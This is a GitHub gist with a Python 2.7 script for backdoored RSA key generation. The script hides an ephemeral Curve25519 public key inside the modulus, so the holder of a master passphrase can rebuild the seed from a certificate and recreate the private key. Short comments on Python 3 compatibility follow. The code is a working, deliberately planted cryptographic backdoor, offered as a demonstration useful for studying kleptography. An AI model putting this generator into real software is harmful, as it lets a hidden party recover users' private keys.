Last active
August 28, 2024 00:34
-
-
Save ryancdotorg/18235723e926be0afbdd to your computer and use it in GitHub Desktop.
backdoored rsa key generation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import sys | |
import gmpy | |
import curve25519 | |
from struct import pack | |
from hashlib import sha256 | |
from binascii import hexlify, unhexlify | |
from M2Crypto import X509 | |
from Crypto.Cipher import AES | |
from Crypto.PublicKey import RSA | |
MASTER_PUB_HEX = 'ce75b4ddd279d5f8009b454fa0f025861b65ebfbe2ada0823e9d5f6c3a15cf58' | |
# A simple AES-CTR based CSPRNG, not particularly interesting | |
class AESPRNG(object): | |
def __init__(self, seed): | |
key = sha256(seed).digest() | |
self.buf = '' | |
self.buf_left = 0 | |
self.counter = 0 | |
self.cipher = AES.new(key, AES.MODE_ECB) | |
def randbytes(self, n): | |
ret = '' | |
requested = n | |
while requested > 0: | |
# Grab all unused bytes in the buffer and then refill it | |
if requested > self.buf_left: | |
ret += self.buf[(16-self.buf_left):] | |
requested -= self.buf_left | |
# Encrypt the big-endian counter value for | |
# the next block of pseudorandom bytes | |
self.buf = self.cipher.encrypt(pack('>QQ', 0, self.counter)) | |
self.counter += 1 | |
self.buf_left = 16 | |
# Grab only the bytes we need from the buffer | |
else: | |
ret += self.buf[(16-self.buf_left):(16-self.buf_left+requested)] | |
self.buf_left -= requested | |
requested = 0 | |
return ret | |
# overwrite some bytes in orig at a specificed offset | |
def replace_at(orig, replace, offset): | |
return orig[0:offset] + replace + orig[offset+len(replace):] | |
def build_key(bits=2048, e=65537, embed='', pos=1, randfunc=None): | |
# generate base key | |
rsa = RSA.generate(bits, randfunc) | |
# extract modulus as a string | |
n_str = unhexlify(str(hex(rsa.n))[2:-1]) | |
# embed data into the modulus | |
n_hex = hexlify(replace_at(n_str, embed, pos)) | |
n = gmpy.mpz(n_hex, 16) | |
p = rsa.p | |
# compute a starting point to look for a new q value | |
pre_q = n / p | |
# use the next prime as the new q value | |
q = pre_q.next_prime() | |
n = p * q | |
phi = (p-1) * (q-1) | |
# compute new private exponent | |
d = gmpy.invert(e, phi) | |
# make sure that p is smaller than q | |
if p > q: | |
(p, q) = (q, p) | |
return RSA.construct((long(n), long(e), long(d), long(p), long(q))) | |
def recover_seed(key='', modulus=None, pos=1): | |
# recreate the master private key from the passphrase | |
master = curve25519.Private(secret=sha256(key).digest()) | |
# extract the ephemeral public key from modulus | |
ephem_pub = curve25519.Public(modulus[pos:pos+32]) | |
# compute seed with master private and ephemeral public | |
return (master.get_shared_key(ephem_pub), ephem_pub) | |
if __name__ == "__main__": | |
# passphrase and filename as arguments | |
if len(sys.argv) == 3: | |
# Load an x.509 certificate from a file | |
x509 = X509.load_cert(sys.argv[2]) | |
# Pull the modulus out of the certificate | |
orig_modulus = unhexlify(x509.get_pubkey().get_modulus()) | |
(seed, ephem_pub) = recover_seed(key=sys.argv[1], modulus=orig_modulus, pos=80) | |
# no arguments, just generate a private key | |
else: | |
# deserialize master ECDH public key embedded in program | |
master_pub = curve25519.Public(unhexlify(MASTER_PUB_HEX)) | |
# generate a random (yes, actually random) ECDH private key | |
ephem = curve25519.Private() | |
# derive the corresponding public key for later embedding | |
ephem_pub = ephem.get_public() | |
# combine the ECDH keys to generate the seed | |
seed = ephem.get_shared_key(master_pub) | |
prng = AESPRNG(seed) | |
ephem_pub = ephem_pub.serialize() | |
# deterministic key generation from seed | |
rsa = build_key(embed=ephem_pub, pos=80, randfunc=prng.randbytes) | |
if 'orig_modulus' in locals(): | |
if long(hexlify(orig_modulus), 16) != long(rsa.n): | |
raise Exception("key recovery failed") | |
print rsa.exportKey() |
It was written for Python 2.7 almost a decade ago, and was only intended to serve as an example.
you sound alot like satoshi nakamoto
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
i think will get missing parentheses in call to 'print'. Did you mean print (...)?
Need explaination about this line 112 cause it won't work at all in the python 3.10